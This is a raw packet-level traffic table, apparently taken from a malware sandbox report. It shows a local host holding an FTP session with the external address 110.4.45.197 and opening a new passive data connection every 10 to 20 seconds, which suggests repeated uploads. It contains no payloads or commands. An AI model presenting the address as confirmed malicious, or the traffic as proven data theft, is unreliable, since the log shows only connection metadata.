Nov 4, 2024 03:20:50.922800064 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.923212051 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.928251982 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928278923 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928292036 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928303957 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928318024 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928344011 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.928407907 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928415060 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.928438902 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928452969 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928466082 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.928468943 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928529024 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.928530931 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.928595066 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933312893 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933327913 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933353901 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933367014 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933374882 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933381081 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933393955 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933394909 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933406115 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933410883 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933428049 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933450937 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933466911 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933468103 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933568954 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.933641911 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.933734894 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.938235998 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.938252926 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.938318014 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.938357115 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.938416958 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.938446999 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.952127934 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.953129053 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.953243017 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:51.005768061 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:51.175448895 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:51.175669909 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:51.180450916 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:51.514296055 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:51.514481068 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:51.519285917 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:51.717180967 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:51.817967892 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:51.877754927 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:51.877940893 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:51.882777929 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:52.217931986 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:52.220360994 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:52.225763083 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:52.561513901 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:52.561686039 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:52.566508055 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:52.967544079 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:52.972117901 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:52.976949930 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:53.311351061 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:53.312947035 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:53.317770004 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:53.317862988 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:53.317908049 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:53.322654009 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.265178919 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.265470028 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.270881891 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.270896912 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.270908117 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.270920038 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.270946980 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.270981073 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.271011114 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.271023989 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.271034956 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.271164894 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.271178007 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.271190882 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.271270990 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.271305084 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.276494026 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276508093 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276520014 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276531935 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276542902 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276572943 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.276611090 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.276640892 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276678085 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.276794910 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276808023 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276875019 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.276932955 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276945114 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.276957035 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282066107 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282222986 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282234907 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282247066 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282330990 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282342911 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282356977 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282376051 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282474041 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282486916 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282497883 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282610893 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282936096 CET	59184	50020	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:54.282984018 CET	50020	59184	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:54.354862928 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:55.085418940 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:55.208925962 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:17.715420008 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:17.720474958 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.057151079 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.064647913 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.069442034 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.072299957 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.072381973 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.077126980 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.992012978 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.992297888 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.997309923 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997319937 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997329950 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997338057 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997349024 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.997383118 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.997385025 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997394085 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997410059 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997431040 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.997435093 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997453928 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.997478962 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997484922 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.997519970 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:18.997534990 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:18.997581959 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.002182007 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.002223015 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.002239943 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.002249002 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.002264023 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.002273083 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.002281904 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.002285957 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.002312899 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.002346039 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.007477045 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.007550001 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.007895947 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.012448072 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.012576103 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.012598038 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.012608051 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.013125896 CET	56907	50021	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.013166904 CET	50021	56907	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.160164118 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:19.801891088 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:19.912131071 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:35.946674109 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:35.951555014 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:36.285322905 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:36.286206961 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:36.291069984 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:36.291208982 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:36.291294098 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:36.296092033 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.216579914 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.217854023 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.222825050 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.222835064 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.222856998 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.222866058 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.222877026 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.222922087 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.222976923 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.222985029 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.222986937 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.223010063 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.223037004 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.223057985 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.223071098 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.223093033 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.223108053 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.223134995 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.227859020 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.227868080 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.227873087 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.227880001 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.227905989 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.227914095 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.227965117 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.228014946 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.228037119 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.228076935 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.228086948 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.228126049 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.232954979 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.233201981 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.233645916 CET	54752	50022	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:37.233709097 CET	50022	54752	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:37.271548033 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:38.050102949 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:38.102205992 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:48.862169027 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:48.867311954 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:49.202369928 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:49.202972889 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:49.207986116 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:49.208059072 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:49.208230019 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:49.213083029 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.137870073 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.138264894 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143295050 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143342972 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143366098 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143371105 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143399000 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143428087 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143449068 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143455982 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143487930 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143491983 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143524885 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143533945 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143568039 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143584013 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143610954 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143636942 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.143651962 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143716097 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.143754005 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148483038 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148511887 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148544073 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148545980 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148575068 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148612022 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148638964 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148665905 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148680925 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148680925 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148721933 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148749113 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148752928 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148803949 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148829937 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148853064 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148864985 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.148899078 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.148912907 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.149050951 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.153814077 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.153897047 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.153915882 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.153944969 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.153971910 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.154026985 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.154053926 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.154064894 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.154109955 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.154136896 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.154165030 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.154195070 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.159130096 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.159601927 CET	65113	50023	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.160311937 CET	50023	65113	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.193465948 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:21:50.943017960 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:21:50.990299940 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:00.788842916 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:00.793966055 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:01.127923012 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:01.128608942 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:01.133589983 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:01.133660078 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:01.133796930 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:01.138710976 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.045121908 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.046446085 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.051353931 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051369905 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051397085 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051409960 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051423073 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051429987 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.051493883 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051496983 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.051507950 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051537037 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051554918 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051568985 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.051580906 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.051619053 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.051625013 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.051748037 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.056282043 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056302071 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056314945 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056339979 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056353092 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056365013 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056382895 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.056452990 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056466103 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.056477070 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056508064 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.056526899 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.056586027 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.061284065 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.061450005 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.061569929 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.061583042 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.061618090 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.061676025 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.062087059 CET	62290	50024	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.062190056 CET	50024	62290	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.162214041 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:02.865003109 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:02.984952927 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:03.854902983 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:03.859853983 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:04.193427086 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:22:04.193809986 CET	50025	52797	192.168.2.4	110.4.45.197
Nov 4, 2024 03:22:04.207362890 CET	52797	50025	110.4.45.197	192.168.2.4
